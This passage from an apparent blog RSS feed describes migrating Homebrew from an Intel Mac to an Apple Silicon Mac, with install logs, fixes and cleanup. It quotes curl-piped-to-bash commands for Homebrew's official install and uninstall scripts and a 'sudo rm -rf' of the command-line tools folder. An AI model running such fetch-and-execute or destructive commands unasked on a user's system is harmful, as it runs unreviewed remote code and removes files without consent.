  472. Also in some cases it is just that I no longer use the software and thus do not need to spend the time to fix their installation problems.<br>
  473. Of course there are some errors in software which I still want to use and which I have not managed to fix yet, we will get to them later.<br>
  474. Here now the warnings and errors which I choose to ignore:
  475. </p>
  476. <pre><span style="color: green">Tapping homebrew/cask</span>
  477. Error: Tapping homebrew/cask is no longer typically necessary.
  478. Add --force if you are sure you need it for contributing to Homebrew.
  479. <span style="color: red">Tapping homebrew/cask has failed!</span></pre>
  480. <pre><span style="color: green">Tapping homebrew/core</span>
  481. Error: Tapping homebrew/core is no longer typically necessary.
  482. Add --force if you are sure you need it for contributing to Homebrew.
  483. <span style="color: red">Tapping homebrew/core has failed!</span></pre>
  484. <pre><span style="color: orange">Skipping gdb (no bottle for Apple Silicon)</span></pre>
  485. <pre><span style="color: green">Installing hping</span>
  486. Error: hping has been disabled because it is not maintained upstream! It was disabled on 2024-02-15.
  487. <span style="color: red">Installing hping has failed!</span></pre>
  488. <pre><span style="color: orange">Skipping hyperkit (no bottle for Apple Silicon)</span></pre>
  489. <pre><span style="color: green">Installing xhyve</span>
  490. <span style="color: orange">Warning:</span> 'xhyve' formula is unreadable: No available formula with the name "xhyve".
  491. Warning: No available formula with the name "xhyve".
  492. Error: No formulae found for xhyve.
  493. ==&gt; Searching for similarly named formulae...
  494. <span style="color: red">Installing xhyve has failed!</span></pre>
  495. <pre><span style="color: green">Installing jsmin</span>
  496. <span style="color: orange">Warning:</span> 'jsmin' formula is unreadable: No available formula with the name "jsmin". Did you mean jsmn, jasmin or jsign?
  497. Warning: No available formula with the name "jsmin". Did you mean jsmn, jasmin or jsign?
  498. ==&gt; Searching for similarly named formulae...
  499. ==&gt; Formulae
  500. jsmn
  501. jasmin
  502. jsign
  503.  
  504. To install jsmn, run:
  505.  brew install jsmn
  506. <span style="color: red">Installing jsmin has failed!</span></pre>
  507. <pre><span style="color: green">Installing sslyze</span>
  508. Error: sslyze has been disabled because it uses deprecated `openssl@1.1`! It was disabled on 2024-04-05.
  509. <span style="color: red">Installing sslyze has failed!</span></pre>
  510. <pre><span style="color: green">Installing virtualbox-extension-pack</span>
  511. Warning: Cask 'virtualbox-extension-pack' is unavailable: No Cask with this name exists.
  512. ==&gt; Searching for similarly named casks...
  513. ==&gt; Casks
  514. virtualbox@beta
  515.  
  516. To install virtualbox@beta, run:
  517.  brew install --cask virtualbox@beta
  518. <span style="color: red">Installing virtualbox-extension-pack has failed!</span></pre>
  519. <pre><span style="color: green">Installing docker-compose-completion</span>
  520. <span style="color: orange">Warning:</span> 'docker-compose-completion' formula is unreadable: No available formula with the name "docker-compose-completion". Did you mean docker-completion?
  521. Warning: No available formula with the name "docker-compose-completion". Did you mean docker-completion?
  522. ==&gt; Searching for similarly named formulae...
  523. ==&gt; Formulae
  524. docker-completion
  525.  
  526. To install docker-completion, run:
  527.  brew install docker-completion
  528. <span style="color: red">Installing docker-compose-completion has failed!</span></pre>
  529. <pre><span style="color: green">Installing visitors</span>
  530. Error: visitors has been disabled because it has a removed upstream repository! It was disabled on 2024-02-21.
  531. <span style="color: red">Installing visitors has failed!</span></pre>
  532. <pre><span style="color: green">Installing osxfuse</span>
  533. Password:
  534. ==&gt; Caveats
  535. `osxfuse` has been succeeded by `macfuse` as of version 4.0.0.
  536.  
  537. To update to a newer version, do:
  538.  brew uninstall osxfuse
  539.  brew install macfuse
  540.  
  541. osxfuse requires a kernel extension to work.
  542. If the installation fails, retry after you enable it in:
  543.  System Settings → Privacy &amp; Security
  544.  
  545. For more information, refer to vendor documentation or this Apple Technical Note:
  546.  https://developer.apple.com/library/content/technotes/tn2459/_index.html
  547.  
  548. You must reboot for the installation of osxfuse to take effect.
  549.  
  550. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/o/osxfuse.rb
  551. ==&gt; Downloading https://github.com/osxfuse/osxfuse/releases/download/osxfuse-3.11.2/osxfuse-3.11.2.dmg
  552. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  553. ==&gt; Installing Cask osxfuse
  554. ==&gt; Running installer for osxfuse with sudo; the password may be necessary.
  555. installer: Error - Das FUSE for macOS Installationspacket ist nicht kompatibel mit dieser macOS Version.
  556. Error: Failure while executing; `/usr/bin/sudo -u root -E LOGNAME=aj USER=aj USERNAME=aj -- /usr/sbin/installer -pkg /opt/homebrew/Caskroom/osxfuse/3.11.2/Extras/FUSE\ for\ macOS\ 3.11.2.pkg -target /` exited with 1. Here's the output:
  557. installer: Error - Das FUSE for macOS Installationspacket ist nicht kompatibel mit dieser macOS Version.
  558. ==&gt; Purging files for version 3.11.2 of Cask osxfuse
  559. <span style="color: red">Installing osxfuse has failed!</span></pre>
  560. <pre><span style="color: green">Installing tuntap</span>
  561. Warning: Cask 'tuntap' is unavailable: No Cask with this name exists.
  562. ==&gt; Searching for similarly named casks...
  563. ==&gt; Casks
  564. tunetag
  565.  
  566. To install tunetag, run:
  567.  brew install --cask tunetag
  568. <span style="color: red">Installing tuntap has failed!</span></pre>
  569. <pre><span style="color: green">Installing mailtrackerblocker</span>
  570. Warning: mailtrackerblocker has been deprecated because it is now exclusively distributed on the Mac App Store! It will be disabled on 2025-04-22.
  571. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/m/mailtrackerblocker.rb
  572. Error: This cask does not run on macOS versions newer than Ventura.
  573. <span style="color: red">Installing mailtrackerblocker has failed!</span></pre>
  574. <p>
  575. This concludes the warnings and errors I ignored.<br>
  576. And there is a little exception.<br>
  577. For mailtrackerblocker I did not completely ignore the error, but rather installed the paid <a href="https://apparition47.github.io/MailTrackerBlocker/" title="MailTrackerBlocker for Mail on macOS">MailTrackerBlocker for Mail</a> application from the App Store.
  578. </p>
  579. <p>
  580. <b>Cleaning up the old Homebrew installation</b><br>
  581. We still have all the no longer needed Intel-binaries and old Homebrew framework in <var>/usr/local</var>.<br>
  582. Time to clean this up.
  583. Homebrew nicely provides a script to help (partially) with this:
  584. </p>
  585. <pre>/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/uninstall.sh)" -- --path=/usr/local</pre>
  586. <p>
  587. This will remove most of the old Homebrew installation but will likely fail to remove everything.<br>
  588. Especially in my situation with years of cruft accumulated, this was the case.<br>
  589. I ended up with the following output from the cleanup script:
  590. </p>
  591. <pre>==&gt; /usr/bin/sudo rmdir /usr/local
  592. rmdir: /usr/local: Operation not permitted
  593. Warning: Failed during: /usr/bin/sudo rmdir /usr/local
  594. Warning: Homebrew partially uninstalled (but there were steps that failed)!
  595. To finish uninstalling rerun this script with `sudo`.
  596. The following possible Homebrew files were not deleted:
  597. /usr/local/.com.apple.installer.keep
  598. /usr/local/Cellar/
  599. /usr/local/Frameworks/
  600. /usr/local/Homebrew/
  601. /usr/local/MacGPG2/
  602. /usr/local/bin/
  603. /usr/local/etc/
  604. /usr/local/include/
  605. /usr/local/lib/
  606. /usr/local/man/
  607. /usr/local/opt/
  608. /usr/local/remotedesktop/
  609. /usr/local/sbin/
  610. /usr/local/share/
  611. /usr/local/tests/
  612. /usr/local/var/
  613. You may wish to remove them yourself.</pre>
  614. <p>
  615. I manually went through all these folders and removed what I could identify as obsolete and no longer needed leftovers.<br>
  616. Important though for example the MacGPG2 folder seems to come from the GPGTools installation, thus be aware that there are other things than Homebrew which might have installed some software under <var>/usr/local</var> and not everyhting must necessarily be removed.
  617. </p>
  618. <p>
  619. <b>Unsolved problems</b><br>
  620. As mentioned there are some things which I haven't figured out how to fix yet.
  621. <p>
  622. <p>
  623. I'm missing a good solution for <a href="https://vgough.github.io/encfs/" title="EncFS">encfs</a> (which is no longer provided by Homebrew due to license changes of the underlying MacFuse project).
  624. Compiling from source (at least through Homebrew) is not supported either (as it is marked as Linux-only and complilation is not supported anymore on macOS).<br>
  625. <b>Update:</b> found a solution for <a href="https://blog.x-way.org/Mac/2024/12/03/How-to-install-EncFS-on-macOS-Sequoia.html" title="x-log - How to install EncFS on MacOS Sequoia">how to install EncFS on macOS Sequoia</a>.
  626. </p>
  627. <p>
  628. Another missing thing (which is more a problem of not having time to deal with it yet), is the Perl ecosystem including CPAN package management.
  629. Here probably some research to find the canonical way for installing Perl in macOS 15 is all I need. 🐪
  630. </p>
  631. ]]></description>
  632.    <content:encoded><![CDATA[<p>
  633. A big part of the time used to <a href="https://blog.x-way.org/Mac/2024/11/30/Move-from-2017-Intel-MacBook-Pro-to-2024-M4-MacBook-Pro.html" title="x-log - Move from 2017 Intel MacBook Pro to 2024 M4 MacBook Pro">move from my 2017 Intel MacBook Pro to my new 2024 M4 MacBook Pro</a> was spent on migrating my <a href="https://brew.sh/" title="Homebrew — The Missing Package Manager for macOS">Homebrew installation</a>.
  634. </p>
  635. <p>
  636. There are three aspects to the migration.
  637. </p>
  638. <ul>
  639. <li>One is the change in CPU architecture (which means to replace my Intel-only binaries with arm64 binaries).</li>
  640. <li>The other one is the change of the Homebrew root folder from <var>/usr/local</var> to <var>/opt/homebrew</var>.</li>
  641. <li>And the last one is the change in OS version (from macOS 13 to macOS 15).</li>
  642. </ul>
  643. <p>
  644. The impact of the change in CPU architecture was mostly taken care of by enabling the Rosetta 2 emulator to run Intel-binaries on the M4.<br>
  645. This immediately fixed the problem of my Terminal windows auto-closing on startup (as they now no longer failed to run the zsh Intel-binary).<br>
  646. But it did not solve all problems, particularly annoying was that vim could not be started and always failed with the following error:
  647. </p>
  648. <pre>dyld[31382]: Library not loaded: /System/Library/Perl/5.30/darwin-thread-multi-2level/CORE/libperl.dylib
  649.  Referenced from: &lt;77AC96DE-0453-3E1C-B442-EFE624110BAE&gt; /usr/local/Cellar/vim/9.1.0750_1/bin/vim
  650.  Reason: tried: '/System/Library/Perl/5.30/darwin-thread-multi-2level/CORE/libperl.dylib' (no such file), '/System/Volumes/Preboot/Cryptexes/OS/System/Library/Perl/5.30/darwin-thread-multi-2level/CORE/libperl.dylib' (no such file), '/System/Library/Perl/5.30/darwin-thread-multi-2level/CORE/libperl.dylib' (no such file, not in dyld cache), '/usr/local/lib/libperl.dylib' (no such file), '/usr/lib/libperl.dylib' (no such file, not in dyld cache)</pre>
  651. <p>
  652. My workaround for this was to use the default vim that comes bundled with macOS, by typing <kbd>/usr/bin/vim</kbd>.<br>
  653. Although it complained about some unsupported parts in my <var>.vimrc</var>, it at least started up and was usable enough to edit files.<br>
  654. The error itself seems due to some Perl system libraries that vim was compiled with and which now no longer exist in the new macOS version.<br>
  655. This is a typical problem which can be solved by re-installing Homebrew.
  656. </p>
  657. <p>
  658. <b>Re-installing Homebrew</b><br>
  659. The steps below follow <a href="https://docs.brew.sh/Common-Issues#unintentional-dual-homebrew-installations" title="Common Issues - Unintentional dual Homebrew installations">this FAQ entry</a> and are extended with what was needed to make it work for my situation.<br>
  660. Your mileage might vary!
  661. </p>
  662. <ol>
  663. <li>In the Terminal.app settings, set the login shell to <var>Default</var>. This to avoid Rosetta's Intel emulated zsh from the previous installation interfering with things.</li>
  664. <li>Verify that you're running in native ARM mode with the <kbd>arch</kbd> command. It should return <var>arm64</var>.</li>
  665. <li>Create a dump of the previous Homebrew installation by explicitly running brew through Rosetta's Intel emulation: <pre>arch -x86_64 /usr/local/bin/brew bundle dump --global</pre></li>
  666. <li>Review the resulting <var>~/.Brewfile</var> and adjust as desired (I didn't make any adjustments).</li>
  667. <li>Ensure that native arm binaries are preferred over Intel binaries from the previous installation: <pre>export PATH=/bin:/usr/bin:/sbin:/usr/sbin:$PATH</pre></li>
  668. <li>Install homebrew into <var>/opt/homebrew</var> with: <pre>/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"</pre></li>
  669. <li>Adjust your shell config file to prefer <var>/opt/homebrew/bin</var> over <var>/usr/local/bin</var> in the PATH.<br>As I manually set PATH in my <var>.zshrc</var>, I needed to adjust it. Following these commands recommended by the brew installer was not enough! <pre><b><span style="color: blue">==&gt;</span> Next steps:</b>
  670. - Run these commands in your terminal to add Homebrew to your <b>PATH</b>:
  671.    echo &gt;&gt; /Users/aj/.zprofile
  672.    echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' &gt;&gt; /Users/aj/.zprofile
  673.    eval "$(/opt/homebrew/bin/brew shellenv)"</pre></li>
  674. <li>Open a fresh terminal window and verify with <kbd>which brew</kbd>, it must return <var>/opt/homebrew/bin/brew</var>.</li>
  675. <li>Now have brew install all the applications from the dump in the <var>~/.Brewfile</var>: <pre>/opt/homebrew/bin/brew bundle install --global</pre></li>
  676. <li>This process will print some warnings and errors, thus make sure to keep the output.<br>I will go through all the errors and warnings I encountered and list how I fixed them below (for the ones I could fix, unfortunately not all have been fixed yet).<br>It usually ends with a summary of the number of failures: <pre><span style="color: red">Homebrew Bundle failed! 30 Brewfile dependencies failed to install.Homebrew Bundle failed! 30 Brewfile dependencies failed to install.</span></pre></li>
  677. <li>Once the process is completed and you see the above summary, open the Terminal.app settings and set the Login shell to <var>/opt/homebrew/bin/zsh</var></li>
  678. <li>Open a fresh terminal window and verify that you are now running in native arm64 mode with <kbd>arch</kbd>.</li>
  679. <li>Now we are ready to address the errors, and then at the end we will remove the old Homebrew installation under <var>/usr/local</var>.</li>
  680. </ol>
  681. <p>
  682. <b>Outdated Xcode and missing Xcode command-line utilities</b><br>
  683. Due to the change in macOS version, the Xcode installation was outdated and also no usable command-line utilities were available.<br>
  684. This usually manifests in errors like these:
  685. </p>
  686. <pre><span style="color: green">Installing ssh-audit</span>
  687. ==&gt; Fetching ssh-audit
  688. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-core/723e7ef695e15c790aab727c1da11a2a4610ad53/Formula/s/ssh-audit.rb
  689. ==&gt; Cloning https://github.com/jtesta/ssh-audit.git
  690. Cloning into '/Users/aj/Library/Caches/Homebrew/ssh-audit--git'...
  691. ==&gt; Checking out branch master
  692. Already on 'master'
  693. Your branch is up to date with 'origin/master'.
  694. Error: Your Xcode (15.1) at /Applications/Xcode.app is too outdated.
  695. Please update to Xcode 16.0 (or delete it).
  696. Xcode can be updated from the App Store.
  697.  
  698. Error: Your Command Line Tools are too outdated.
  699. Update them from Software Update in System Settings.
  700.  
  701. If that doesn't show you any updates, run:
  702.  sudo rm -rf /Library/Developer/CommandLineTools
  703.  sudo xcode-select --install
  704.  
  705. Alternatively, manually download them from:
  706.  https://developer.apple.com/download/all/.
  707. You should download the Command Line Tools for Xcode 16.0.
  708.  
  709. <span style="color: red">Installing ssh-audit has failed!</span></pre>
  710. <pre><span style="color: green">Installing tdsmith/ham/direwolf</span>
  711. ==&gt; Fetching dependencies for tdsmith/ham/direwolf: portaudio
  712. ==&gt; Fetching portaudio
  713. ==&gt; Downloading https://ghcr.io/v2/homebrew/core/portaudio/manifests/19.7.0-1
  714. ==&gt; Downloading https://ghcr.io/v2/homebrew/core/portaudio/blobs/sha256:8ad9f1c15a4bc9c05a9dd184b53b8f5f5d13a2458a70535bfb01e54ce4f8b4bd
  715. ==&gt; Fetching tdsmith/ham/direwolf
  716. ==&gt; Downloading https://github.com/wb2osz/direwolf/archive/1.4-dev-E.tar.gz
  717. ==&gt; Downloading from https://codeload.github.com/wb2osz/direwolf/tar.gz/refs/tags/1.4-dev-E
  718. ==&gt; Installing direwolf from tdsmith/ham
  719. Error: Your Xcode (15.1) at /Applications/Xcode.app is too outdated.
  720. Please update to Xcode 16.0 (or delete it).
  721. Xcode can be updated from the App Store.
  722.  
  723. Error: Your Command Line Tools are too outdated.
  724. Update them from Software Update in System Settings.
  725.  
  726. If that doesn't show you any updates, run:
  727.  sudo rm -rf /Library/Developer/CommandLineTools
  728.  sudo xcode-select --install
  729.  
  730. Alternatively, manually download them from:
  731.  https://developer.apple.com/download/all/.
  732. You should download the Command Line Tools for Xcode 16.0.
  733.  
  734. <span style="color: red">Installing tdsmith/ham/direwolf has failed!</span></pre>
  735. <p>
  736. This can be fixed in two steps.<br>
  737. First update Xcode via the App Store.<br>
  738. Then run the mentioned commands to install/update the command-line utilities:
  739. </p>
  740. <pre>sudo rm -rf /Library/Developer/CommandLineTools
  741. sudo xcode-select --install</pre>
  742. <p>
  743. With the latest Xcode and command-line utilities in place, trigger a new installation attempt for the affected applications:
  744. </p>
  745. <pre>brew install ssh-audit
  746. brew install tdsmith/ham/direwolf</pre>
  747. <p>
  748. <b>Missing Rosetta 2 Intel emulation</b><br>
  749. Some of the Casks distributed by Homebrew are currently only available as Intel-binaries.<br>
  750. This usually manifests in warnings like these:
  751. </p>
  752. <pre><span style="color: green">Installing gqrx</span>
  753. ==&gt; Caveats
  754. gqrx is built for Intel macOS and so requires Rosetta 2 to be installed.
  755. You can install Rosetta 2 with:
  756.  softwareupdate --install-rosetta --agree-to-license
  757. Note that it is very difficult to remove Rosetta 2 once it is installed.
  758.  
  759. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/g/gqrx.rb
  760. ==&gt; Downloading https://github.com/gqrx-sdr/gqrx/releases/download/v2.17.5/Gqrx-2.17.5.dmg
  761. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  762. ==&gt; Installing Cask gqrx
  763. Error: It seems there is already an App at '/Applications/Gqrx.app'.
  764. ==&gt; Purging files for version 2.17.5 of Cask gqrx
  765. <span style="color: red">Installing gqrx has failed!</span></pre>
  766. <pre><span style="color: green">Installing jitsi</span>
  767. ==&gt; Caveats
  768. jitsi is built for Intel macOS and so requires Rosetta 2 to be installed.
  769. You can install Rosetta 2 with:
  770.  softwareupdate --install-rosetta --agree-to-license
  771. Note that it is very difficult to remove Rosetta 2 once it is installed.
  772.  
  773. ==&gt; Downloading https://github.com/jitsi/jitsi/releases/download/Jitsi-2.10/jitsi-2.10.5550.dmg
  774. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  775. ==&gt; Installing Cask jitsi
  776. Error: It seems there is already an App at '/Applications/Jitsi.app'.
  777. ==&gt; Purging files for version 2.10.5550 of Cask jitsi
  778. <span style="color: red">Installing jitsi has failed!</span></pre>
  779. <pre><span style="color: green">Installing keepassx</span>
  780. Password:
  781. ==&gt; Caveats
  782. keepassx is built for Intel macOS and so requires Rosetta 2 to be installed.
  783. You can install Rosetta 2 with:
  784.  softwareupdate --install-rosetta --agree-to-license
  785. Note that it is very difficult to remove Rosetta 2 once it is installed.
  786.  
  787. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/k/keepassx.rb
  788. ==&gt; Downloading https://www.keepassx.org/releases/2.0.3/KeePassX-2.0.3.dmg
  789. ==&gt; Installing Cask keepassx
  790. ==&gt; Changing ownership of paths required by keepassx with sudo; the password may be necessary.
  791. Error: It seems there is already an App at '/Applications/KeePassX.app'.
  792. ==&gt; Purging files for version 2.0.3 of Cask keepassx
  793. <span style="color: red">Installing keepassx has failed!</span></pre>
  794. <pre><span style="color: green">Installing sequel-pro</span>
  795. Warning: sequel-pro has been deprecated because it is discontinued upstream! It will be disabled on 2024-12-17.
  796. ==&gt; Caveats
  797. sequel-pro has been deprecated in favor of Sequel Ace.
  798.  brew install --cask sequel-ace
  799.  
  800. sequel-pro is built for Intel macOS and so requires Rosetta 2 to be installed.
  801. You can install Rosetta 2 with:
  802.  softwareupdate --install-rosetta --agree-to-license
  803. Note that it is very difficult to remove Rosetta 2 once it is installed.
  804.  
  805. ==&gt; Downloading https://github.com/sequelpro/sequelpro/releases/download/release-1.1.2/sequel-pro-1.1.2.dmg
  806. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  807. ==&gt; Installing Cask sequel-pro
  808. Error: It seems there is already an App at '/Applications/Sequel Pro.app'.
  809. ==&gt; Purging files for version 1.1.2 of Cask sequel-pro
  810. <span style="color: red">Installing sequel-pro has failed!</span></pre>
  811. <p>
  812. This can be fixed by running the mentioned command:
  813. </p>
  814. <pre>softwareupdate --install-rosetta --agree-to-license</pre>
  815. <p>
  816. With this in place, Intel-binaries will not be a problem anymore.<br>
  817. But as you can see there was actually a second failure in all these errors, which we are going to address next.
  818. </p>
  819. <p>
  820. <b>Old applications linger around in /Applications and block updates/re-installation</b><br>
  821. Homebrew nicely installed all the opensource applications into the new <var>/opt/homebrew</var>, but for the Casks which are distributed as binary application bundles and live in <var>/Applications</var> we end up with conflicts (as the new Homebrew installation does not know about the previously installed application bundles there).<br>
  822. This typically manifests in errors like these (also seen in the ones from the Rosetta section):
  823. </p>
  824. <pre><span style="color: green">Installing 0-ad</span>
  825. ==&gt; Downloading https://releases.wildfiregames.com/0ad-0.0.26-alpha-osx-aarch64.dmg
  826. ==&gt; Installing Cask 0-ad
  827. Error: It seems there is already an App at '/Applications/0 A.D..app'.
  828. ==&gt; Purging files for version 0.0.26-alpha of Cask 0-ad
  829. <span style="color: red">Installing 0-ad has failed!</span></pre>
  830. <pre><span style="color: green">Installing brave-browser</span>
  831. ==&gt; Downloading https://updates-cdn.bravesoftware.com/sparkle/Brave-Browser/stable-arm64/173.91/Brave-Browser-arm64.dmg
  832. ==&gt; Installing Cask brave-browser
  833. Error: It seems there is already an App at '/Applications/Brave Browser.app'.
  834. ==&gt; Purging files for version 1.73.91.0 of Cask brave-browser
  835. <span style="color: red">Installing brave-browser has failed!</span></pre>
  836. <pre><span style="color: green">Installing burp-suite</span>
  837. ==&gt; Downloading https://portswigger-cdn.net/burp/releases/download?product=community&amp;version=2024.10.3&amp;type=MacOsArm64
  838. ==&gt; Installing Cask burp-suite
  839. Error: It seems there is already an App at '/Applications/Burp Suite Community Edition.app'.
  840. ==&gt; Purging files for version 2024.10.3 of Cask burp-suite
  841. <span style="color: red">Installing burp-suite has failed!</span></pre>
  842. <pre><span style="color: green">Installing docker</span>
  843. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/d/docker.rb
  844. ==&gt; Downloading https://desktop.docker.com/mac/main/arm64/175267/Docker.dmg
  845. ==&gt; Installing Cask docker
  846. Error: It seems there is already an App at '/Applications/Docker.app'.
  847. ==&gt; Purging files for version 4.36.0,175267 of Cask docker
  848. <span style="color: red">Installing docker has failed!</span></pre>
  849. <pre><span style="color: green">Installing gitup</span>
  850. ==&gt; Downloading https://github.com/git-up/GitUp/releases/download/v1.4.2/GitUp.zip
  851. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  852. ==&gt; Installing Cask gitup
  853. Error: It seems there is already an App at '/Applications/GitUp.app'.
  854. ==&gt; Purging files for version 1.4.2 of Cask gitup
  855. <span style="color: red">Installing gitup has failed!</span></pre>
  856. <pre><span style="color: green">Installing keeweb</span>
  857. Password:
  858. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/k/keeweb.rb
  859. ==&gt; Downloading https://github.com/keeweb/keeweb/releases/download/v1.18.7/KeeWeb-1.18.7.mac.arm64.dmg
  860. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  861. ==&gt; Installing Cask keeweb
  862. ==&gt; Changing ownership of paths required by keeweb with sudo; the password may be necessary.
  863. chown: /Applications/KeeWeb.app/Contents/CodeResources: Operation not permitted
  864. [...]
  865. chown: /Applications/KeeWeb.app: Operation not permitted
  866. Error: It seems there is already an App at '/Applications/KeeWeb.app'.
  867. ==&gt; Purging files for version 1.18.7 of Cask keeweb
  868. <span style="color: red">Installing keeweb has failed!</span></pre>
  869. <pre><span style="color: green">Installing netnewswire</span>
  870. ==&gt; Downloading https://github.com/Ranchero-Software/NetNewsWire/releases/download/mac-6.1.4/NetNewsWire6.1.4.zip
  871. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  872. ==&gt; Installing Cask netnewswire
  873. Error: It seems there is already an App at '/Applications/NetNewsWire.app'.
  874. ==&gt; Purging files for version 6.1.4 of Cask netnewswire
  875. <span style="color: red">Installing netnewswire has failed!</span></pre>
  876. <pre><span style="color: green">Installing obs</span>
  877. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/o/obs.rb
  878. ==&gt; Downloading https://cdn-fastly.obsproject.com/downloads/OBS-Studio-30.2.3-macOS-Apple.dmg
  879. ==&gt; Installing Cask obs
  880. Error: It seems there is already an App at '/Applications/OBS.app'.
  881. ==&gt; Purging files for version 30.2.3 of Cask obs
  882. <span style="color: red">Installing obs has failed!</span></pre>
  883. <pre><span style="color: green">Installing transmission</span>
  884. ==&gt; Downloading https://github.com/transmission/transmission/releases/download/4.0.6/Transmission-4.0.6.dmg
  885. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  886. ==&gt; Installing Cask transmission
  887. Error: It seems there is already an App at '/Applications/Transmission.app'.
  888. ==&gt; Purging files for version 4.0.6 of Cask transmission
  889. <span style="color: red">Installing transmission has failed!</span></pre>
  890. <pre><span style="color: green">Installing tunnelblick</span>
  891. Password:
  892. ==&gt; Caveats
  893. For security reasons, tunnelblick must be installed to /Applications,
  894. and will request to be moved at launch.
  895.  
  896. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/t/tunnelblick.rb
  897. ==&gt; Downloading https://github.com/Tunnelblick/Tunnelblick/releases/download/v4.0.1/Tunnelblick_4.0.1_build_5971.dmg
  898. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  899. ==&gt; Installing Cask tunnelblick
  900. ==&gt; Changing ownership of paths required by tunnelblick with sudo; the password may be necessary.
  901. chown: /Applications/Tunnelblick.app/Contents/CodeResources: Operation not permitted
  902. [...]
  903. chown: /Applications/Tunnelblick.app: Operation not permitted
  904. Error: It seems there is already an App at '/Applications/Tunnelblick.app'.
  905. ==&gt; Purging files for version 4.0.1,5971 of Cask tunnelblick
  906. <span style="color: red">Installing tunnelblick has failed!</span></pre>
  907. <pre><span style="color: green">Installing vlc</span>
  908. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/v/vlc.rb
  909. ==&gt; Downloading https://get.videolan.org/vlc/3.0.21/macosx/vlc-3.0.21-arm64.dmg
  910. ==&gt; Downloading from http://mirror.easyname.ch/videolan/vlc/3.0.21/macosx/vlc-3.0.21-arm64.dmg
  911. ==&gt; Installing Cask vlc
  912. Error: It seems there is already an App at '/Applications/VLC.app'.
  913. ==&gt; Purging files for version 3.0.21 of Cask vlc
  914. <span style="color: red">Installing vlc has failed!</span></pre>
  915. <pre><span style="color: green">Installing wireshark</span>
  916. Password:
  917. ==&gt; Downloading https://2.na.dl.wireshark.org/osx/all-versions/Wireshark%204.4.2%20Arm%2064.dmg
  918. ==&gt; Installing Cask wireshark
  919. ==&gt; Running installer for wireshark with sudo; the password may be necessary.
  920. installer: Package name is ChmodBPF
  921. installer: Installing at base path /
  922. installer: The install was successful.
  923. ==&gt; Running installer for wireshark with sudo; the password may be necessary.
  924. Error: It seems there is already an App at '/Applications/Wireshark.app'.
  925. installer: Package name is Add Wireshark to the system PATH
  926. installer: Installing at base path /
  927. installer: The install was successful.
  928. ==&gt; Purging files for version 4.4.2 of Cask wireshark
  929. <span style="color: red">Installing wireshark has failed!</span></pre>
  930. <p>
  931. Now that we have the full list, here is how I fixed these errors:
  932. </p>
  933. <ul>
  934. <li>For each of them, move the existing application bundle from <var>/Applications</var> to Trash.</li>
  935. <li>Then trigger the installation again with: <pre>brew install --cask 0-ad
  936. brew install --cask brave-browser
  937. ...</pre></li>
  938. <li>The <var>--cask</var> part is important, as sometimes a headless source-only formula exists with the same name which does not include the GUI parts.<br>By using <var>--cask</var> we make sure that the upstream binary application bundle is used.</li>
  939. </ul>
  940. <p>
  941. With this, most of the fixing is concluded.<br>
  942. Thus let's go to the warnings and errors that I consciously ignore.
  943. </p>
  944. <p>
  945. <b>Warnings and errors to ignore</b><br>
  946. Some of the warnings and errors I consciously ignore.<br>
  947. A lot of them come from no longer maintained/available software which Homebrew no longer provides, or which have become obsolete as another software does the same job now.<br>
  948. Also in some cases it is just that I no longer use the software and thus do not need to spend the time to fix their installation problems.<br>
  949. Of course there are some errors in software which I still want to use and which I have not managed to fix yet, we will get to them later.<br>
  950. Here now the warnings and errors which I choose to ignore:
  951. </p>
  952. <pre><span style="color: green">Tapping homebrew/cask</span>
  953. Error: Tapping homebrew/cask is no longer typically necessary.
  954. Add --force if you are sure you need it for contributing to Homebrew.
  955. <span style="color: red">Tapping homebrew/cask has failed!</span></pre>
  956. <pre><span style="color: green">Tapping homebrew/core</span>
  957. Error: Tapping homebrew/core is no longer typically necessary.
  958. Add --force if you are sure you need it for contributing to Homebrew.
  959. <span style="color: red">Tapping homebrew/core has failed!</span></pre>
  960. <pre><span style="color: orange">Skipping gdb (no bottle for Apple Silicon)</span></pre>
  961. <pre><span style="color: green">Installing hping</span>
  962. Error: hping has been disabled because it is not maintained upstream! It was disabled on 2024-02-15.
  963. <span style="color: red">Installing hping has failed!</span></pre>
  964. <pre><span style="color: orange">Skipping hyperkit (no bottle for Apple Silicon)</span></pre>
  965. <pre><span style="color: green">Installing xhyve</span>
  966. <span style="color: orange">Warning:</span> 'xhyve' formula is unreadable: No available formula with the name "xhyve".
  967. Warning: No available formula with the name "xhyve".
  968. Error: No formulae found for xhyve.
  969. ==&gt; Searching for similarly named formulae...
